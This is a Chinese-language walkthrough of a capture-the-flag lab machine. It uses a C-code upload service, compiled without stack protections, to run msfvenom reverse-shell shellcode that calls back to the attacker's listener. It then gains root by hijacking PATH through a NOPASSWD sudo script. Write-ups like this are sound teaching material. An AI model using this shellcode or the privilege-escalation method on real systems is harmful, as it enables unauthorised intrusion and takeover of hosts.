信息收集
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@kali:/tmp/123# nmap 192.168.56.210 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-23 08:26 -0400
Nmap scan report for 192.168.56.210
Host is up ( 0.00055s latency) .
Not shown: 65533 closed tcp ports ( reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:8F:60:49 ( Oracle VirtualBox virtual NIC)
root@kali:/tmp/123# nmap 192.168.56.210 -p 22,80 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-23 08:28 -0400
Nmap scan report for 192.168.56.210
Host is up ( 0.0015s latency) .
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 ( protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 ( RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d ( ECDSA)
| _ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb ( ED25519)
80/tcp open http Apache httpd 2.4.62 (( Debian))
| _http-server-header: Apache/2.4.62 ( Debian)
| _http-title: C Code Upload
MAC Address: 08:00:27:8F:60:49 ( Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 8.33 seconds
web应用分析
c 代码上传平台,上传你的 .c 代码用于编译和运行,提示:你编译的二进制文件在执行后会被立即删除。
查看源码发现:.
1
gcc -std= c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
-std=c11 使用C11标准编译 -nostdinc 不使用默认的标准头文件路径 -I/var/www/include 手动指定头文件搜索目录 -z execstack 允许栈上执行指令 -fno-stack-protector 关闭栈保护 -no-pie 关闭地址随机化 验证上传漏洞
从信息收集的指纹识别可以看到是linux系统,从源码中的注释,得知允许栈上执行指令,所以可以直接通过msfvenom生成linux系统的反弹shell。
1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=39666 -f c
-p 选择payload LHOST 指定要回连的目标IP LPORT 指定要会连的目标端口 -f 输出格式 生成一段用于linux反弹shell的shellcode,可以嵌入C代码中。
1
2
3
4
5
6
7
8
9
10
11
int main (){
unsigned char buf [] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x9a\xf2\xc0\xa8\x38\x65\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05" ;
(( void (*)()) buf )();
return 0 ;
}
void(*)() 表示 一个 函数指针类型 (void(*)())buf 表示把 buf 这个字节数组的地址强制转换为函数指针 ((void(*)())buf)() 表示调用这个函数指针 从第一个字节开始执行机器码 1
2
3
4
5
root@kali:~# nc -lnvp 39666
listening on [ any] 39666 ...
# 终端1
root@kali:/tmp/123# curl -i -F "src=@test.c;filename=test.c" http://192.168.56.210:80/
# 终端2
确实存在上传漏洞,但是连接不稳定。
优化反向shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main (){
int pid = fork ();
if ( pid != 0 ) return 0 ; // 让程序不再占着原来的前端执行流。
setsid (); // 让当前子进程创建新会话,脱离原控制终端
pid = fork ();
if ( pid != 0 ) _exit ( 0 ); // 进一步避免重新关联控制终端,让后台运行更独立。
unsigned char buf [] =
" \x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97 "
" \x48\xb9\x02\x00\x9a\xf2\xc0\xa8\x38\x65\x51\x48\x89\xe6 "
" \x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce "
" \x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f "
" \x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48 "
" \x89\xe6\x0f\x05 " ;
(( void ( * )()) buf )();
return 0 ;
}
上传该脚本,并在另一个终端监听39666端口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~# nc -lnvp 39666
listening on [ any] 39666 ...
connect to [ 192.168.56.101] from ( UNKNOWN) [ 192.168.56.210] 50290
id
uid = 1000( echo ) gid = 1000( echo ) groups = 1000( echo )
whereis python
python: /usr/bin/python3.9-config /usr/bin/python3.9 /usr/lib/python2.7 /usr/lib/python3.9 /etc/python3.7 /etc/python3.9 /usr/local/lib/python3.9 /usr/include/python3.9
script -qc /bin/bash /dev/null
echo@Sysadmin:/home/echo$ ^Z
zsh: suspended nc -lnvp 39666
root@kali:~# stty raw -echo; fg
[ 1] + continued nc -lnvp 39666
reset
reset: unknown terminal type unknown
Terminal type? xterm
echo@Sysadmin:/home/echo$ export TERM = xterm-256color
echo@Sysadmin:/home/echo$ echo $SHELL
/bin/bash
echo@Sysadmin:/home/echo$ source ~/.bashrc
echo@Sysadmin:/home/echo$ stty size
24 80
echo@Sysadmin:/home/echo$ stty rows 38 columns 88 # 原终端 行 38 列 88 ,这不是凭空出来的。
纵向移动
系统信息枚举
1
2
3
4
5
6
echo@Sysadmin:/home/echo$ sudo -l
Matching Defaults entries for echo on Sysadmin:
!env_reset, mail_badpass, !env_reset, always_set_home
User echo may run the following commands on Sysadmin:
( root) NOPASSWD: /usr/local/bin/system-info.sh
我们可以不用密码,以root权限执行/usr/local/bin/system-info.sh。
!env_reset 不重置环境变量 mail_badpass 当密码输入错误时,将警告发送到管理员的邮件上 always_set_home suod执行目标命令时,把HOME设置为目标用户的家目录。 查看/usr/local/bin/system-info.sh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
echo@Sysadmin:/home/echo$ cat /usr/local/bin/system-info.sh
#!/bin/bash
#===================================
# Daily System Info Report
#===================================
echo "Starting daily system information collection at $( date) "
echo "------------------------------------------------------"
echo "Checking disk usage..."
df -h
echo "Checking log directory..."
ls -lh /var/log/
find /var/log/ -type f -name "*.gz" -mtime +30 -exec rm {} \;
echo "Checking critical services..."
systemctl is-active sshd
systemctl is-active cron
echo "Collecting CPU and memory information..."
cat /proc/cpuinfo
free -m
echo "------------------------------------------------------"
echo "Report complete at $( date) "
在通过sudo执行命令时,不重置环境变量,查看system-info.sh,发现命令用的都是相对路径,我们可以劫持PATH环境变量,执行恶意的命令。
权限提升
1
2
3
4
5
6
7
8
9
10
11
12
echo@Sysadmin:/tmp$ vim free
#!/bin/bash
bash -i
echo@Sysadmin:/tmp$ chmod +x free
echo@Sysadmin:/tmp$ echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
echo@Sysadmin:/tmp$ export PATH = /tmp:${ PATH }
echo@Sysadmin:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
echo@Sysadmin:/tmp$ sudo /usr/local/bin/system-info.sh
root@Sysadmin:/tmp# id
uid = 0( root) gid = 0( root) groups = 0( root)
获取flag
1
2
3
4
root@Sysadmin:/tmp# cat ~/*
flag{ root-8b8a8b353298f[ hidden]
root@Sysadmin:/tmp# cat /home/echo/user.txt
flag{ user-9592f6e02a7ab[ hidden]
攻击链总结
信息收集阶段使用nmap枚举目录,发现仅开放22/tcp和80/tcp,其中80端口对应一个可上传.c文件的web页面。 对Web功能进行分析后确认:该页面会将上传的C代码在目标机上编译并执行执行结束后再删除生成的二进制文件。这说明攻击者可以借助该功能在目标主机上实现任意本地代码执行。 结合页面暴露的编译参数可知,目标程序在较弱保护条件下被编译,降低了直接执行自定义代码的门槛。利用这一点成功获得了echo用户权限的shell。 初始shell可用性较差,因此后续通过会话后台化与TTY升级手段,将其整理为更稳定、可交互的shell环境,便于继续进行本地枚举。 枚举sudo权限时发现,用户echo可以以root身份无密码执行/usr/local/bin/system-info.sh。进一步审计该脚本后发现,其内部调用了多个未使用绝对路径的系统命令。 同时,sudo 配置中存在 !env_reset , 说明执行该脚本时环境变量不会被完全重置,因此可以通过影响PATH 的方法劫持脚本调用的命令。 最终,借助NOPASSWD sudo 权限、可控环境变量以及脚本相对命令调用这三点,成功将命令执行劫持到自定义程序,从echo提升root,并读取用户与root的flag。